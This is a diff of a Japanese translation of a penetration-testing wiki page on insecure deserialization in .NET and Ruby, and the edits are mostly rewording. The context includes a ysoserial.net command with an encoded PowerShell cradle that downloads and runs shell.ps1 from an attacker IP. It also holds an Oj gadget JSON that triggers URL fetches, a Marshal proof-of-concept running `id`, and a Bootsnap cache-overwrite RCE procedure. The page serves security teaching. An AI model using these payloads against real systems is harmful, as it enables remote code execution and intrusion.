@@ jndi-java-naming-and-directory-interface-and-log4shell.md #### ホワイトボックス -ソースコードは、以下の出現を検査する必要があります: +ソースコード内で以下の出現を検査する必要があります: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` @@ -695,26 +695,26 @@ jndi-java-naming-and-directory-interface-and-log4shell.md #### ブラックボックス -検索は、サーバー側でデシリアライズされる可能性のあるBase64エンコードされた文字列**AAEAAAD/////**または類似のパターンを対象とする必要があります。これには、`TypeObject`や`$type`を含むがこれに限定されない**JSON**または**XML**構造が含まれる可能性があります。 +検索は、サーバー側でデシリアライズされる可能性のあるBase64エンコードされた文字列**AAEAAAD/////**またはそれに類似したパターンを対象とする必要があります。これには、`TypeObject`や`$type`を含む**JSON**または**XML**構造が含まれる可能性がありますが、これに限定されません。 ### ysoserial.net この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成**できます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。 -**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。 +**ysoserial.netがどのように悪用を作成するかを学びたい場合**は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。 **ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。 -- **`--gadget`**は、悪用するガジェットを指定するために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を指定します)。 -- **`--formatter`**は、悪用をシリアライズする方法を指定するために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。 -- **`--output`**は、悪用を**生**または**base64**エンコードされた形式で取得したいかどうかを指定するために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)を使用して**エンコード**しますので、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディングの互換性の問題**が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。_ +- **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。 +- **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。 +- **`--output`**は、悪用を**生**または**base64**エンコードで出力するかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)を使用して**エンコード**するため、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディングの互換性の問題**が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。_ - **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグイン**をサポートしています。 #### 追加のysoserial.netパラメータ - `--minify`は**小さいペイロード**を提供します(可能な場合)。 - `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。 -- `--sf xml`は**ガジェット**(`-g`)を指定でき、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しない)。 +- `--sf xml`は、**ガジェット**(`-g`)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しません)。 **ysoserialの例**を使用して悪用を作成します: ```bash @@ -735,7 +735,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\ -このパラメータを指定すると、 **ysoserial.net** は **ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかどうかをテストできます。\ +このパラメータを指定すると、 **ysoserial.net** は **ローカルでエクスプロイトを試みる** ので、ペイロードが正しく機能するかどうかをテストできます。\ このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -881,8 +881,8 @@ puts Base64.encode64(payload) ```ruby <Object>.send('eval', '<user input with Ruby code>') == RCE ``` -さらに、**`.send()`** のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、**引数を必要としない**か、**デフォルト値**を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\ -これを行うために、**その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙する**ことが可能です。 +さらに、**`.send()`** のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、**引数を必要としない**か、**デフォルト値**を持つ引数のあるオブジェクトの任意のメソッドを呼び出すことが可能です。\ +これを実現するために、**その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙する**ことが可能です。 ```ruby <Object>.send('<user_input>') @@ -910,9 +910,9 @@ candidate_methods.length() # Final number of methods=> 3595 ### Ruby _json汚染 -ボディに配列のようなハッシュ化できない値を送信すると、それらは新しいキー`_json`に追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認可バイパスが行われる可能性があります。 +ボディにハッシュ化できない値(配列など)を送信すると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。 -[Ruby _json汚染ページで詳細を確認してください](ruby-_json-pollution.md)。 +[Ruby _json汚染ページで詳細情報を確認してください](ruby-_json-pollution.md)。 ### その他のライブラリ @@ -920,7 +920,7 @@ candidate_methods.length() # Final number of methods=> 3595 オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数): -<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_createに関するノートを最後に参照](#table-vulnerable-sinks))</td></tr></tbody></table> +<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>([json_createに関するノートを最後に参照](#table-vulnerable-sinks))</td></tr></tbody></table> 基本的な例: ```ruby @@ -944,7 +944,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの非サニタイズされたデシリアライズ脆弱性の優れた検出器を提供しました。 +Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出し、その後specを呼び出し、fetch_pathを呼び出すギジェットクラスを見つけることができました。これにより、ランダムなURLを取得させることが可能になり、この種の未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。 ```json { "^o": "URI::HTTP", @@ -978,13 +978,13 @@ Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガ } } ``` -チェックする詳細は[**元の投稿**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)で確認してください。 +チェックの詳細は[**元の投稿**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)を参照してください。 ### ブートストラップキャッシング -実際にはデシリアライズの脆弱性ではありませんが、ブートストラップキャッシングを悪用してRailsアプリケーションから任意のファイル書き込みによるRCEを取得するための良いトリックです(完全な[元の投稿はこちら](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)で見つけてください)。 +実際にはデシリアライズの脆弱性ではありませんが、ブートストラップキャッシングを悪用してRailsアプリケーションから任意のファイル書き込みによるRCEを取得するための良いトリックです(完全な[元の投稿はこちら](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)を見つけてください)。 -以下は、Bootsnapキャッシングを悪用して任意のファイル書き込み脆弱性を悪用するために記事で詳述された手順の短い要約です: +以下は、Bootsnapキャッシングを悪用して任意のファイル書き込み脆弱性を悪用するための記事で詳述された手順の短い要約です: - 脆弱性と環境の特定 @@ -992,15 +992,15 @@ Railsアプリのファイルアップロード機能は、攻撃者が任意に - Bootsnapのキャッシュメカニズムの理解 -Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファイルをキャッシュすることでRailsの起動時間を短縮します。キャッシュファイルにはキャッシュキーのヘッダー(Rubyバージョン、ファイルサイズ、mtime、コンパイルオプションなどのフィールドを含む)が含まれ、その後にコンパイルされたコードが続きます。このヘッダーはアプリの起動時にキャッシュを検証するために使用されます。 +Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファイルをキャッシュすることでRailsの起動時間を短縮します。キャッシュファイルにはキャッシュキーヘッダー(Rubyバージョン、ファイルサイズ、mtime、コンパイルオプションなどのフィールドを含む)が含まれ、その後にコンパイルされたコードが続きます。このヘッダーはアプリの起動時にキャッシュを検証するために使用されます。 - ファイルメタデータの収集 -攻撃者はまず、Railsの起動時に読み込まれる可能性のあるターゲットファイル(例えば、Rubyの標準ライブラリからのset.rb)を選択します。コンテナ内でRubyコードを実行することで、重要なメタデータ(RUBY_VERSION、RUBY_REVISION、サイズ、mtime、compile_optionなど)を抽出します。このデータは有効なキャッシュキーを作成するために不可欠です。 +攻撃者はまず、Railsの起動時に読み込まれる可能性のあるターゲットファイル(例えば、Rubyの標準ライブラリからのset.rb)を選択します。コンテナ内でRubyコードを実行することで、重要なメタデータ(RUBY_VERSION、RUBY_REVISION、サイズ、mtime、コンパイルオプションなど)を抽出します。このデータは有効なキャッシュキーを作成するために不可欠です。 - キャッシュファイルパスの計算 -BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所(例:tmp/cache/bootsnap/compile-cache-iseq/の下)に正確に配置されることが保証されます。 +BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所(例えば、tmp/cache/bootsnap/compile-cache-iseqの下)に正確に配置されることが保証されます。 - 悪意のあるキャッシュファイルの作成 @@ -1008,12 +1008,12 @@ BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで - 任意のコマンドを実行します(例えば、プロセス情報を表示するためにidを実行)。 - 再帰的な悪用を防ぐために、実行後に悪意のあるキャッシュを削除します。 -- アプリケーションがクラッシュしないように元のファイル(例:set.rb)を読み込みます。 +- アプリケーションがクラッシュしないように元のファイル(例えば、set.rb)を読み込みます。 このペイロードはバイナリRubyコードにコンパイルされ、慎重に構築されたキャッシュキーのヘッダー(以前に収集したメタデータとBootsnapの正しいバージョン番号を使用)と連結されます。 - 上書きと実行のトリガー -任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーします(Pumaによって監視されているtmp/restart.txtに書き込むことによって)。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行(RCE)が発生します。 +任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーします(tmp/restart.txtに書き込むことで、Pumaによって監視されています)。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行(RCE)が発生します。 ### Ruby Marshalの実践における悪用(更新) @@ -1039,14 +1039,14 @@ end *-TmTT="$(id>/tmp/marshal-poc)"any.zip ``` 実際のアプリでの出現場所: -- Railsキャッシュストアとセッションストアは、歴史的にMarshalを使用 +- 歴史的に Marshal を使用している Rails キャッシュストアとセッションストア - バックグラウンドジョブバックエンドとファイルバックオブジェクトストア -- バイナリオブジェクトブロブのカスタム永続化または輸送 +- バイナリオブジェクトブロブのカスタム永続性または輸送 産業化されたガジェット発見: -- コンストラクタ、`hash`、`_load`、`init_with`、またはアンマーシャル中に呼び出される副作用のあるメソッドをgrep -- CodeQLのRubyの安全でないデシリアライズクエリを使用してソース→シンクを追跡し、ガジェットを明らかにする -- 公開されたマルチフォーマットのPoC(JSON/XML/YAML/Marshal)で検証 +- コンストラクタ、`hash`、`_load`、`init_with`、またはアンマーシャル中に呼び出される副作用のあるメソッドを grep +- CodeQL の Ruby 不安全なデシリアライズクエリを使用してソース → シンクをトレースし、ガジェットを明らかにする +- 公開されたマルチフォーマット PoC (JSON/XML/YAML/Marshal) で検証 ## 参考文献